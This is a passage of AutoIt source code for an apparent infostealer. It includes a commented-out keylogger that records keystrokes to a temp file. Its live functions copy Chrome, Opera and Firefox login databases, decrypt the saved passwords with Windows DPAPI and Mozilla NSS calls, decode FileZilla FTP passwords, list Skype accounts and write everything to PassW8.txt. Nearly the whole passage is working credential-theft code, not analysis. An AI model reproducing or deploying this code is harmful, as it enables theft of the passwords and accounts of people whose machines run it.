  4192. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 11 Then
  4193.  
  4194. ;~                      FileWrite(@TempDir & "/KLog.txt", "@")
  4195. ;~                  EndIf
  4196.  
  4197.  
  4198.  
  4199. ;~              Case $LLKHF_EXTENDED
  4200.  
  4201. ;~              Case $LLKHF_INJECTED
  4202.  
  4203. ;~              Case $LLKHF_UP
  4204.  
  4205.  
  4206.  
  4207.  
  4208. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 16 Then
  4209. ;~                      FileWrite(@TempDir & "/KLog.txt", "a")
  4210. ;~                  EndIf
  4211.  
  4212. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 48 Then
  4213. ;~                      FileWrite(@TempDir & "/KLog.txt", "b")
  4214. ;~                  EndIf
  4215.  
  4216. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 46 Then
  4217. ;~                      FileWrite(@TempDir & "/KLog.txt", "c")
  4218. ;~                  EndIf
  4219.  
  4220. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 32 Then
  4221. ;~                      FileWrite(@TempDir & "/KLog.txt", "d")
  4222. ;~                  EndIf
  4223.  
  4224. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 18 Then
  4225. ;~                      FileWrite(@TempDir & "/KLog.txt", "e")
  4226. ;~                  EndIf
  4227.  
  4228. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 33 Then
  4229. ;~                      FileWrite(@TempDir & "/KLog.txt", "f")
  4230. ;~                  EndIf
  4231.  
  4232. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 34 Then
  4233. ;~                      FileWrite(@TempDir & "/KLog.txt", "g")
  4234. ;~                  EndIf
  4235.  
  4236. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 35 Then
  4237. ;~                      FileWrite(@TempDir & "/KLog.txt", "h")
  4238. ;~                  EndIf
  4239.  
  4240. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 23 Then
  4241. ;~                      FileWrite(@TempDir & "/KLog.txt", "i")
  4242. ;~                  EndIf
  4243.  
  4244. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 36 Then
  4245. ;~                      FileWrite(@TempDir & "/KLog.txt", "j")
  4246. ;~                  EndIf
  4247.  
  4248. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 37 Then
  4249. ;~                      FileWrite(@TempDir & "/KLog.txt", "k")
  4250. ;~                  EndIf
  4251.  
  4252. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 38 Then
  4253. ;~                      FileWrite(@TempDir & "/KLog.txt", "l")
  4254. ;~                  EndIf
  4255.  
  4256. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 39 Then
  4257. ;~                      FileWrite(@TempDir & "/KLog.txt", "m")
  4258. ;~                  EndIf
  4259.  
  4260. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 49 Then
  4261. ;~                      FileWrite(@TempDir & "/KLog.txt", "n")
  4262. ;~                  EndIf
  4263.  
  4264. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 24 Then
  4265. ;~                      FileWrite(@TempDir & "/KLog.txt", "o")
  4266. ;~                  EndIf
  4267.  
  4268. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 25 Then
  4269. ;~                      FileWrite(@TempDir & "/KLog.txt", "p")
  4270. ;~                  EndIf
  4271.  
  4272. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 30 Then
  4273. ;~                      FileWrite(@TempDir & "/KLog.txt", "q")
  4274. ;~                  EndIf
  4275.  
  4276. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 19 Then
  4277. ;~                      FileWrite(@TempDir &"/KLog.txt", "r")
  4278. ;~                  EndIf
  4279.  
  4280. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 31 Then
  4281. ;~                      FileWrite(@TempDir & "/KLog.txt", "s")
  4282. ;~                  EndIf
  4283.  
  4284. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 20 Then
  4285. ;~                      FileWrite(@TempDir & "/KLog.txt", "t")
  4286. ;~                  EndIf
  4287.  
  4288. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 22 Then
  4289. ;~                      FileWrite(@TempDir & "/KLog.txt", "u")
  4290. ;~                  EndIf
  4291.  
  4292. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 47 Then
  4293. ;~                      FileWrite(@TempDir & "/KLog.txt", "v")
  4294. ;~                  EndIf
  4295.  
  4296. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 44 Then
  4297. ;~                      FileWrite(@TempDir & "/KLog.txt", "w")
  4298. ;~                  EndIf
  4299.  
  4300. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 45 Then
  4301. ;~                      FileWrite(@TempDir & "/KLog.txt", "x")
  4302. ;~                  EndIf
  4303.  
  4304. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 21 Then
  4305. ;~                      FileWrite(@TempDir & "/KLog.txt", "y")
  4306. ;~                  EndIf
  4307.  
  4308.  
  4309. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 17 Then
  4310. ;~                      FileWrite(@TempDir & "/KLog.txt", "z")
  4311. ;~                  EndIf
  4312.  
  4313.  
  4314.  
  4315.  
  4316.  
  4317.  
  4318.  
  4319.  
  4320. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 82 Then
  4321. ;~                      FileWrite(@TempDir &"/KLog.txt", "0")
  4322. ;~                  EndIf
  4323.  
  4324.  
  4325.  
  4326.  
  4327. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 79 Then
  4328. ;~                      FileWrite(@TempDir & "/KLog.txt", "1")
  4329. ;~                  EndIf
  4330.  
  4331. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 80 Then
  4332. ;~                      FileWrite(@TempDir & "/KLog.txt", "2")
  4333. ;~                  EndIf
  4334.  
  4335.  
  4336. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 81 Then
  4337. ;~                      FileWrite(@TempDir & "/KLog.txt", "3")
  4338. ;~                  EndIf
  4339.  
  4340. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 75 Then
  4341. ;~                      FileWrite(@TempDir & "/KLog.txt", "4")
  4342. ;~                  EndIf
  4343.  
  4344.  
  4345. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 76 Then
  4346. ;~                      FileWrite(@TempDir & "/KLog.txt", "5")
  4347. ;~                  EndIf
  4348.  
  4349.  
  4350. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 77 Then
  4351. ;~                      FileWrite(@TempDir & "/KLog.txt", "6")
  4352. ;~                  EndIf
  4353.  
  4354. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 71 Then
  4355. ;~                      FileWrite(@TempDir & "/KLog.txt", "7")
  4356. ;~                  EndIf
  4357.  
  4358.  
  4359. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 72 Then
  4360. ;~                      FileWrite(@TempDir & "/KLog.txt", "8")
  4361. ;~                  EndIf
  4362.  
  4363. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 73 Then
  4364. ;~                      FileWrite(@TempDir & "/KLog.txt", "9")
  4365. ;~                  EndIf
  4366.  
  4367.  
  4368.  
  4369.  
  4370.  
  4371.  
  4372.  
  4373. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 28 Then
  4374. ;~                      FileWrite(@TempDir & "/KLog.txt", " [Enter] ")
  4375. ;~                  EndIf
  4376.  
  4377. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 57 Then
  4378. ;~                      FileWrite(@TempDir & "/KLog.txt", " ")
  4379. ;~                  EndIf
  4380.  
  4381.  
  4382. ;~                  If DllStructGetData($tKEYHOOKS, "scanCode") = 83 Then
  4383. ;~                      FileWrite(@TempDir & "/KLog.txt", ".")
  4384. ;~                  EndIf
  4385.  
  4386.  
  4387.  
  4388.  
  4389.  
  4390.  
  4391.  
  4392. ;~          EndSwitch
  4393.  
  4394.  
  4395.  
  4396.  
  4397.  
  4398. ;~      EndIf
  4399.  
  4400.  
  4401.  
  4402.  
  4403.  
  4404.  
  4405.  
  4406.  
  4407. ;~  Return _WinAPI_CallNextHookEx($g_hHook, $nCode, $wParam, $lParam)
  4408. ;~ EndFunc   ;==>_KeyProc
  4409.  
  4410.  
  4411.  
  4412. Func _888Pass()
  4413.  
  4414. FileInstall('Sqlite.dll', @TempDir & '/Sqlite.dll')
  4415.  
  4416.  
  4417. FileDelete(@TempDir & '/PassW8.txt')
  4418.  
  4419. Local $Passwordxx
  4420.  
  4421.  _Firefox_Password_recovery($Passwordxx)
  4422.  
  4423. FileWrite(@TempDir & '/PassW8.txt', $Passwordxx)
  4424.  
  4425. $Password = Chrome()
  4426.  
  4427.   FileWrite(@TempDir& '/PassW8.txt', $Password)
  4428.  
  4429. $Password = Opera()
  4430.  
  4431. FileWrite(@TempDir & '/PassW8.txt', $Password)
  4432.  
  4433. $file = @TempDir & "\PassW8.txt"
  4434.  
  4435. $file_handle = FileOpen($file, 1)
  4436.  
  4437. If $file_handle <> -1 Then
  4438.  
  4439.     FileWrite($file_handle, @CRLF & @CRLF & "######## [ FileZilla Password ] ########" & @CRLF & @CRLF & @CRLF& filezilla())
  4440.     FileFlush($file_handle)
  4441.     FileClose($file_handle)
  4442.  
  4443. EndIf
  4444.  
  4445.  
  4446. $ssd = _FileListToArray(@AppDataDir & "\Skype\", "*", 2)
  4447.  
  4448. If $ssd <> "" And $ssd <> -1 And $ssd <> @error Then
  4449.  
  4450.     FileWrite(@tempdir& "/PassW8.txt",@CRLF&@CRLF&"######## [ Skype Users ] ########"&@CRLF&@CRLF&@CRLF)
  4451.  
  4452.     For $i = 1 To $ssd[0] Step +1
  4453.  
  4454.         If FileExists(@AppDataDir & "\Skype\" & $ssd[$i] & "\Config.xml") Then
  4455.  
  4456.  FileWrite(@tempdir& '/PassW8.txt',"User = "&$ssd[$i]&@CRLF&@CRLF)
  4457.  
  4458.             ;Skypxx
  4459.  
  4460.         EndIf
  4461.  
  4462.     Next
  4463.  
  4464. EndIf
  4465.  
  4466.  
  4467.  
  4468.  
  4469.  
  4470. EndFunc
  4471.  
  4472. Func Chrome()
  4473.  
  4474.     Local $sWeb, $aResult, $iRows, $iColumns, $iRval, $hData, $UserLocal, $sBrowser, $sDataLoginPath
  4475.  
  4476.     $sDataLoginPath = _WinAPI_ShellGetSpecialFolderPath(0x001C) & "\Google\Chrome\User Data\Default\Login Data"
  4477.  
  4478.     $sBrowser = "######## [ Chrome Password ] ########"
  4479.  
  4480.     Local $TempData = @TempDir & "\TempData.db"
  4481.  
  4482.     Local $sPathData = ""
  4483.  
  4484.     FileCopy($sDataLoginPath, $TempData, 1)
  4485.  
  4486.     Sleep(4000)
  4487.  
  4488.     If FileExists($TempData) Then
  4489.         $sPathData = $TempData
  4490.     EndIf
  4491.  
  4492.     _SQLite_Startup($sSQliteDll)
  4493.  
  4494.     If @error Then Return
  4495.  
  4496.     $hData = _SQLite_Open($sPathData)
  4497.  
  4498.     If @error Then Return
  4499.  
  4500.     $iRval = _SQLite_GetTable2d(-1, "SELECT * FROM logins;", $aResult, $iRows, $iColumns)
  4501.  
  4502.     _SQLite_Close($hData)
  4503.  
  4504.     _SQLite_Shutdown()
  4505.  
  4506.     If FileExists($TempData) Then
  4507.         FileDelete($TempData)
  4508.     EndIf
  4509.  
  4510.  
  4511.     For $i = 1 To UBound($aResult) - 1
  4512.         $pass = UncryptRDPPassword($aResult[$i][5])
  4513.         If Not (Binary($pass) = "0x00000000") Then
  4514.             $sWeb &= 'URL = ' & $aResult[$i][0] & @CRLF & 'User = ' & $aResult[$i][3] & @CRLF & 'Pass = ' & $pass & @CRLF & @CRLF
  4515.         EndIf
  4516.         $pass = ""
  4517.     Next
  4518.  
  4519.     $aResult = 0
  4520.  
  4521.     $sResult = @CRLF & $sBrowser & @CRLF & @CRLF & $sWeb
  4522.  
  4523.     Return $sResult
  4524.  
  4525. EndFunc   ;==>Chrome
  4526.  
  4527.  
  4528. Func Opera()
  4529.  
  4530.     Local $sWeb, $aResult, $iRows, $iColumns, $iRval, $hData, $UserLocal, $sBrowser, $sDataLoginPath
  4531.  
  4532.     $sDataLoginPath = _WinAPI_ShellGetSpecialFolderPath(0x001A) & "\Opera Software\Opera Stable\Login Data"
  4533.  
  4534.     $sBrowser = "######## [ Opera Password ] ########"
  4535.  
  4536.     Local $TempData = @TempDir & "\TempData.db"
  4537.  
  4538.     Local $sPathData = ""
  4539.  
  4540.     FileCopy($sDataLoginPath, $TempData, 1)
  4541.  
  4542.     Sleep(4000)
  4543.  
  4544.     If FileExists($TempData) Then
  4545.         $sPathData = $TempData
  4546.     EndIf
  4547.  
  4548.     _SQLite_Startup($sSQliteDll)
  4549.  
  4550.     If @error Then Return
  4551.  
  4552.     $hData = _SQLite_Open($sPathData)
  4553.  
  4554.     If @error Then Return
  4555.  
  4556.     $iRval = _SQLite_GetTable2d(-1, "SELECT * FROM logins;", $aResult, $iRows, $iColumns)
  4557.  
  4558.     _SQLite_Close($hData)
  4559.  
  4560.     _SQLite_Shutdown()
  4561.  
  4562.     If FileExists($TempData) Then
  4563.         FileDelete($TempData)
  4564.     EndIf
  4565.  
  4566.     For $i = 1 To UBound($aResult) - 1
  4567.         $pass = UncryptRDPPassword($aResult[$i][5])
  4568.         If Not (Binary($pass) = "0x00000000") Then
  4569.             $sWeb &= 'URL = ' & $aResult[$i][0] & @CRLF & 'User = ' & $aResult[$i][3] & @CRLF & 'Pass = ' & $pass & @CRLF & @CRLF
  4570.         EndIf
  4571.         $pass = ""
  4572.     Next
  4573.  
  4574.  
  4575.     $aResult = 0
  4576.  
  4577.     $sResult = @CRLF & $sBrowser & @CRLF & @CRLF & $sWeb
  4578.  
  4579.     Return $sResult
  4580.  
  4581. EndFunc   ;==>Opera
  4582.  
  4583. Func _WinAPI_ShellGetSpecialFolderPath($CSIDL)
  4584.  
  4585.     Local $tPath = DllStructCreate('wchar[1024]')
  4586.     Local $ret = DllCall('shell32.dll', 'int', 'SHGetSpecialFolderPathW', 'hwnd', 0, 'ptr', DllStructGetPtr($tPath), 'int', $CSIDL, 'int', 0)
  4587.  
  4588.     If (@error) Or ($ret[0] = 0) Then
  4589.         Return SetError(1, 0, '')
  4590.     EndIf
  4591.     Return DllStructGetData($tPath, 1)
  4592. EndFunc   ;==>_WinAPI_ShellGetSpecialFolderPath
  4593.  
  4594.  
  4595. Func UncryptRDPPassword($bin)
  4596.     ;This Func From >> http://www.autoitscript.com/forum/topic/96783-dllcall-for-cryptunprotectdata/#entry695769
  4597.     Local Const $CRYPTPROTECT_UI_FORBIDDEN = 0x1
  4598.     Local Const $DATA_BLOB = "int;ptr"
  4599.  
  4600.     Local $passStr = DllStructCreate("byte[1024]")
  4601.     Local $DataIn = DllStructCreate($DATA_BLOB)
  4602.     Local $DataOut = DllStructCreate($DATA_BLOB)
  4603.     $pwDescription = 'psw'
  4604.     $PwdHash = ""
  4605.  
  4606.     DllStructSetData($DataOut, 1, 0)
  4607.     DllStructSetData($DataOut, 2, 0)
  4608.  
  4609.     DllStructSetData($passStr, 1, $bin)
  4610.     DllStructSetData($DataIn, 2, DllStructGetPtr($passStr, 1))
  4611.     DllStructSetData($DataIn, 1, BinaryLen($bin))
  4612.  
  4613.     $return = DllCall("crypt32.dll", "int", "CryptUnprotectData", _
  4614.             "ptr", DllStructGetPtr($DataIn), _
  4615.             "ptr", 0, _
  4616.             "ptr", 0, _
  4617.             "ptr", 0, _
  4618.             "ptr", 0, _
  4619.             "dword", $CRYPTPROTECT_UI_FORBIDDEN, _
  4620.             "ptr", DllStructGetPtr($DataOut))
  4621.     If @error Then Return ""
  4622.  
  4623.     $len = DllStructGetData($DataOut, 1)
  4624.     $PwdHash = Ptr(DllStructGetData($DataOut, 2))
  4625.     $PwdHash = DllStructCreate("byte[" & $len & "]", $PwdHash)
  4626.     Return BinaryToString(DllStructGetData($PwdHash, 1), 4)
  4627. EndFunc   ;==>UncryptRDPPassword
  4628.  
  4629.  
  4630. Func _Get_Logindata($TEmpdirlogindata)
  4631.     Local $AllProfileChrome[2][2]
  4632.     __ChromePassword_Find_LoginData($TEmpdirlogindata, $AllProfileChrome)
  4633.     If Not @error Then $AllProfileChrome[1][1] = "######## [ Chrome Password ] ########"
  4634.     $LoginDataOpera = __OPeraPassword_Find_LoginData($TEmpdirlogindata)
  4635.     If Not @error Then
  4636.         ReDim $AllProfileChrome[$AllProfileChrome[0][0] + 2][2]
  4637.         $AllProfileChrome[0][0] += 1
  4638.         $AllProfileChrome[$AllProfileChrome[0][0]][1] = "######## [ Opera Password ] ########"
  4639.         $AllProfileChrome[$AllProfileChrome[0][0]][0] = $LoginDataOpera
  4640.     EndIf
  4641.     If $AllProfileChrome[0][0] < 1 Then Return SetError(1)
  4642.     Return $AllProfileChrome
  4643. EndFunc   ;==>_Get_Logindata
  4644.  
  4645. Func __OPeraPassword_Find_LoginData($OperaCopyloginPath)
  4646.     Local $OperaPath = @AppDataDir & "\Opera Software\Opera Stable\Login Data"
  4647.     If Not FileExists($OperaPath) Then Return SetError(1)
  4648.     FileCopy($OperaPath, $OperaCopyloginPath & "Op", 9)
  4649.     If @error Then Return $OperaPath
  4650.     Return $OperaCopyloginPath & "Op"
  4651. EndFunc   ;==>__OPeraPassword_Find_LoginData
  4652.  
  4653. Func __ChromePassword_Find_LoginData($ChromeCopyloginPath, ByRef $AllProfileChrome)
  4654.     Local $ChromePath = @UserProfileDir & "\Local Settings\Application Data\Google\Chrome\User Data\"
  4655.     If Not FileExists($ChromePath) Then Return SetError(1)
  4656.     Local $Sname
  4657.     If FileExists($ChromePath & "Default\Login Data") Then
  4658.         $AllProfileChrome[0][0] = 1
  4659.         $Sname = $AllProfileChrome[0][0]
  4660.         FileCopy($ChromePath & "Default\Login Data", $ChromeCopyloginPath & $Sname, 9)
  4661.         If @error Then
  4662.             $ChromeCopyloginPath = $ChromePath & "Default\"
  4663.             $Sname = "Login Data"
  4664.         EndIf
  4665.         $AllProfileChrome[1][0] = $ChromeCopyloginPath & $Sname
  4666.     EndIf
  4667.     Local $search = FileFindFirstFile($ChromePath & "*.*")
  4668.     If $search = -1 Then Return SetError(2)
  4669.     While True
  4670.         Local $file = FileFindNextFile($search)
  4671.         If @error Then ExitLoop
  4672.         If Not @extended Then ContinueLoop
  4673.         If StringInStr($file, "Profile") > 0 Then
  4674.             If FileExists($ChromePath & $file & "\Login Data") Then
  4675.                 ReDim $AllProfileChrome[$AllProfileChrome[0][0] + 2][2]
  4676.                 $AllProfileChrome[0][0] += 1
  4677.                 $Sname = $AllProfileChrome[0][0]
  4678.                 FileCopy($ChromePath & $file & "\Login Data", $ChromeCopyloginPath & $Sname, 9)
  4679.                 If @error Then
  4680.                     $ChromeCopyloginPath = $ChromePath & $file & "\"
  4681.                     $Sname = "Login Data"
  4682.                 EndIf
  4683.                 $AllProfileChrome[$AllProfileChrome[0][0]][0] = $ChromeCopyloginPath & $Sname
  4684.             EndIf
  4685.         EndIf
  4686.     WEnd
  4687.     FileClose($search)
  4688.     If $AllProfileChrome[0][0] < 1 Then Return SetError(3)
  4689. EndFunc   ;==>__ChromePassword_Find_LoginData
  4690.  
  4691. Func filezilla()
  4692.     Local $pwds, $h, $fn = EnvGet("appdata") & "\filezilla\recentservers.xml"
  4693.     If FileExists($fn) = False Then Return ""
  4694.     $h = FileOpen($fn, 0)
  4695.     If $h = -1 Then Return ""
  4696.     $host = ""
  4697.     $port = 21
  4698.     $usr = ""
  4699.     $pass = ""
  4700.     While True
  4701.         $line = FileReadLine($h)
  4702.         If @error = -1 Then ExitLoop
  4703.         If StringInStr($line, "<host>") Then
  4704.             $usr = ""
  4705.             $pass = ""
  4706.             $port = 21
  4707.             $host = StringMid($line, 1, StringInStr($line, "</") - 1)
  4708.             $host = StringMid($host, StringInStr($host, ">") + 1)
  4709.         EndIf
  4710.         If StringInStr($line, "<port>") Then
  4711.             $port = StringMid($line, 1, StringInStr($line, "</") - 1)
  4712.             $port = StringMid($port, StringInStr($port, ">") + 1)
  4713.         EndIf
  4714.         If StringInStr($line, "<user>") Then
  4715.             $usr = StringMid($line, 1, StringInStr($line, "</") - 1)
  4716.             $usr = StringMid($usr, StringInStr($usr, ">") + 1)
  4717.         EndIf
  4718.         If StringInStr($line, "<pass") Then
  4719.  
  4720.             $pass = StringMid($line, 1, StringInStr($line, "</") - 1)
  4721.  
  4722.             $pass = StringMid($pass, StringInStr($pass, '>') + 1)
  4723.  
  4724.             $pass = DecB64($pass)
  4725.  
  4726.         EndIf
  4727.  
  4728.         If StringInStr($line, "</server>") Then
  4729.             $pwds = $pwds & "URL = Ftp://" & $host & ":" & $port & @CRLF & "User = " & $usr & @CRLF & "Pass = " & BinaryToString($pass) & @CRLF & @CRLF
  4730.         EndIf
  4731.     WEnd
  4732.     Return $pwds
  4733. EndFunc   ;==>filezilla
  4734.  
  4735.  
  4736. Func DecB64($sb64string)
  4737.     Local $acrypt = DllCall("Crypt32.dll", "bool", "CryptStringToBinaryA", "str", $sb64string, "dword", 0, "dword", 1, "ptr", 0, "dword*", 0, "ptr", 0, "ptr", 0)
  4738.     If @error Or Not $acrypt[0] Then Return SetError(1, 0, "")
  4739.     Local $bbuffer = DllStructCreate("byte[" & $acrypt[5] & "]")
  4740.     $acrypt = DllCall("Crypt32.dll", "bool", "CryptStringToBinaryA", "str", $sb64string, "dword", 0, "dword", 1, "struct*", $bbuffer, "dword*", $acrypt[5], "ptr", 0, "ptr", 0)
  4741.     If @error Or Not $acrypt[0] Then Return SetError(2, 0, "")
  4742.     Return DllStructGetData($bbuffer, 1)
  4743. EndFunc   ;==>DecB64
  4744.  
  4745.  
  4746.  
  4747. Func _Firefox_Password_recovery(ByRef $Password)
  4748.     Local $sFireFoxPath = _GetFireFoxinstallPath()
  4749.     If @error Then Return
  4750.  
  4751.     Local $sFireFoxProfilePath = _FireFoxProFilePath()
  4752.     If @error Then Return
  4753.  
  4754.     Local $sJsonFile = $sFireFoxProfilePath & "logins.json"
  4755.     Local $ReadJson = FileRead($sJsonFile)
  4756.     If @error Or $ReadJson = "" Then Return
  4757.  
  4758.     Local $aList = __GetJsonArray($ReadJson)
  4759.     If Not (IsArray($aList)) Or Not (UBound($aList) >= 6) Then Return
  4760.  
  4761.     Local $DllDecrypt = _GetFireFoxDllDecryptPath($sFireFoxPath)
  4762.     If @error Then Return
  4763.  
  4764.     Local $h_mozglue = _WinAPI_LoadLibrary($DllDecrypt[1])
  4765.     If @error Then Return
  4766.     Local $h_msvcr = _WinAPI_LoadLibrary($DllDecrypt[2])
  4767.     If @error Then Return
  4768.     Local $h_msvcp = _WinAPI_LoadLibrary($DllDecrypt[3])
  4769.     If @error Then Return
  4770.  
  4771.     Local $h_NSS3 = DllOpen($DllDecrypt[0])
  4772.     If Not @error Then
  4773.  
  4774.         DllCall($h_NSS3, "dword:CDECL", "NSS_Init", "str", $sFireFoxProfilePath)
  4775.         If Not @error Then
  4776.  
  4777.             Local $hSlot = DllCall($h_NSS3, "ptr:CDECL", "PK11_GetInternalKeySlot")
  4778.             If Not @error Then
  4779.                 $hSlot = $hSlot[0]
  4780.  
  4781.                 $Password &= @CRLF & "######## [ FireFox Password ] ########" & @CRLF & @CRLF & @CRLF
  4782.                 For $i = 0 To UBound($aList) - 1 Step 6
  4783.  
  4784.                     $Password &= "URL: " & $aList[$i + 1] & @CRLF & _
  4785.                             "User: " & __FireFoxDecrypt($h_NSS3, $hSlot, $aList[$i + 3]) & @CRLF & _
  4786.                             "Pass: " & __FireFoxDecrypt($h_NSS3, $hSlot, $aList[$i + 5]) & @CRLF & @CRLF
  4787.  
  4788.  
  4789.                 Next
  4790.  
  4791.                 DllCall($h_NSS3, "NONE:CDECL", "PK11_FreeSlot", "ptr", $hSlot)
  4792.             EndIf
  4793.             DllCall($h_NSS3, "NONE:CDECL", "NSS_Shutdown")
  4794.         EndIf
  4795.  
  4796.         DllClose($h_NSS3)
  4797.     EndIf
  4798.  
  4799.     _WinAPI_FreeLibrary($h_msvcr)
  4800.     _WinAPI_FreeLibrary($h_msvcp)
  4801.     _WinAPI_FreeLibrary($h_mozglue)
  4802.  
  4803. EndFunc   ;==>_Firefox_Password_recovery
  4804. Func __GetJsonArray($sData)
  4805.     Local $aList = StringRegExp($sData, '\"(hostname|encryptedPassword|encryptedUsername)":"(.*?)"', 3)
  4806.     Return $aList
  4807. EndFunc   ;==>__GetJsonArray
  4808. Func _GetFireFoxDllDecryptPath($sFireFoxPath)
  4809.     Local $DLLdir[4]
  4810.     Local $msvcr = "msvcr100.dll"
  4811.     Local $msvcp = "msvcp100.dll"
  4812.     Local $mozglue = "mozglue.dll"
  4813.     Local $nss3 = "nss3.dll"
  4814.     If Not FileExists($sFireFoxPath & $mozglue) Or Not FileExists($sFireFoxPath & $nss3) Then Return SetError(1)
  4815.     $DLLdir[1] = $sFireFoxPath & $mozglue
  4816.     $DLLdir[0] = $sFireFoxPath & $nss3
  4817.     Local $findDll
  4818.     If Not FileExists(@SystemDir & '\' & $msvcr) Then
  4819.         $findDll = _Find_Dll_IN_Mozilla_PAth($sFireFoxPath, "msvcr")
  4820.         If @error Then Return SetError(3)
  4821.         $DLLdir[2] = $sFireFoxPath & $msvcr
  4822.     Else
  4823.         $DLLdir[2] = @SystemDir & '\' & $msvcr
  4824.     EndIf
  4825.     If Not FileExists(@SystemDir & '\' & $msvcp) Then
  4826.         $findDll = _Find_Dll_IN_Mozilla_PAth($sFireFoxPath, "msvcp")
  4827.         If @error Then Return SetError(3)
  4828.         $DLLdir[3] = $sFireFoxPath & $findDll
  4829.     Else
  4830.         $DLLdir[3] = @SystemDir & '\' & $msvcp
  4831.     EndIf
  4832.     Return $DLLdir
  4833. EndFunc   ;==>_GetFireFoxDllDecryptPath
  4834. Func _GetFireFoxinstallPath()
  4835.     Local Const $sRegFireFox = "HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\"
  4836.     Local $F_Version = RegRead($sRegFireFox & "Mozilla Firefox", "currentversion")
  4837.     If $F_Version = "" Then Return SetError(1)
  4838.     Local $F_Path = RegRead("HKLM\SOFTWARE\mozilla\mozilla firefox\" & $F_Version & "\main", "install directory")
  4839.     If $F_Path = "" Then Return SetError(1)
  4840.     If Not FileExists($F_Path) Then SetError(1)
  4841.     Return $F_Path & "\"
  4842. EndFunc   ;==>_GetFireFoxinstallPath
  4843. Func _FireFoxProFilePath()
  4844.     Local $sPath = @AppDataDir & "\Mozilla\Firefox\"
  4845.     Local $Rduni = IniRead($sPath & "profiles.ini", "Profile0", "Path", "")
  4846.     If $Rduni = "" Then Return SetError(1)
  4847.     Return $sPath & $Rduni & "\"
  4848. EndFunc   ;==>_FireFoxProFilePath
  4849. Func __FireFoxDecrypt($h_NSS3, $hSlot, $sCryptedData)
  4850.     Local $tByteData, $iRet, $dwSize, $DataIn, $DataOut, $tData
  4851.  
  4852.     $tByteData = DllStructCreate("byte Data[1024]")
  4853.     $iRet = DllCall("Crypt32.dll", "bool", "CryptStringToBinary", "str", $sCryptedData, "dword", StringLen($sCryptedData), "dword", 0x00000001, "ptr", DllStructGetPtr($tByteData), "dword*", 8096, "ptr", 0, "ptr", 0)
  4854.  
  4855.     If Not @error Then
  4856.  
  4857.         $dwSize = $iRet[5]
  4858.  
  4859.         DllCall($h_NSS3, "dword:CDECL", "PK11_Authenticate", "ptr", $hSlot, "BOOL", True, "ptr", 0)
  4860.         If @error Then Return ""
  4861.  
  4862.         $DataIn = DllStructCreate("dword SECItemType;ptr Data;dword Len")
  4863.         DllStructSetData($DataIn, "Data", DllStructGetPtr($tByteData))
  4864.         DllStructSetData($DataIn, "len", $dwSize)
  4865.  
  4866.         $DataOut = DllStructCreate("dword SECItemType;ptr Data;dword Len")
  4867.         DllCall($h_NSS3, "DWORD:CDECL", "PK11SDR_Decrypt", "ptr", DllStructGetPtr($DataIn), "ptr", DllStructGetPtr($DataOut), "ptr", 0)
  4868.         If @error Then Return ""
  4869.  
  4870.         $tData = DllStructCreate("char String[" & DllStructGetData($DataOut, "len") & "]", DllStructGetData($DataOut, "Data"))
  4871.         $sDecrypData = DllStructGetData($tData, "String")
  4872.  
  4873.         Return $sDecrypData
  4874.  
  4875.     EndIf
  4876.  
  4877.     Return ""
  4878. EndFunc   ;==>__FireFoxDecrypt
  4879.  
  4880.  
  4881. Func _Find_Dll_IN_Mozilla_PAth($sFireFoxPath, $Sdll)
  4882.     Local $search = FileFindFirstFile($sFireFoxPath & "*.dll")
  4883.     If $search = -1 Then Return SetError(1)
  4884.     Local $SRDll
  4885.     While True
  4886.         Local $file = FileFindNextFile($search)
  4887.         If @error Then ExitLoop
  4888.         If StringInStr($file, $Sdll) > 0 Then
  4889.             $SRDll = $file
  4890.             ExitLoop
  4891.         EndIf
  4892.     WEnd
  4893.     FileClose($search)
  4894.     If $SRDll = "" Then Return SetError(2)
  4895.     Return $SRDll
  4896. EndFunc   ;==>_Find_Dll_IN_Mozilla_PAth
  4897.  
  4898.  
  4899.  
  4900.  
  4901.  
  4902.  
  4903.  
  4904.  
  4905.  
  4906.  
  4907. Func _CurrentLang()
  4908.     Local $sLanNum = "0413,0813|0409,0809,0c09,1009,1409,1809,1c09,2009,2409,2809," & _
  4909.         "2c09,3009,3409|040c,080c,0c0c,100c,140c,180c|0407,0807,0c07,1007," & _
  4910.         "1407|0410,0810|0414,0814|0415|0416,0816|040a,080a,0c0a,100a,140a," & _
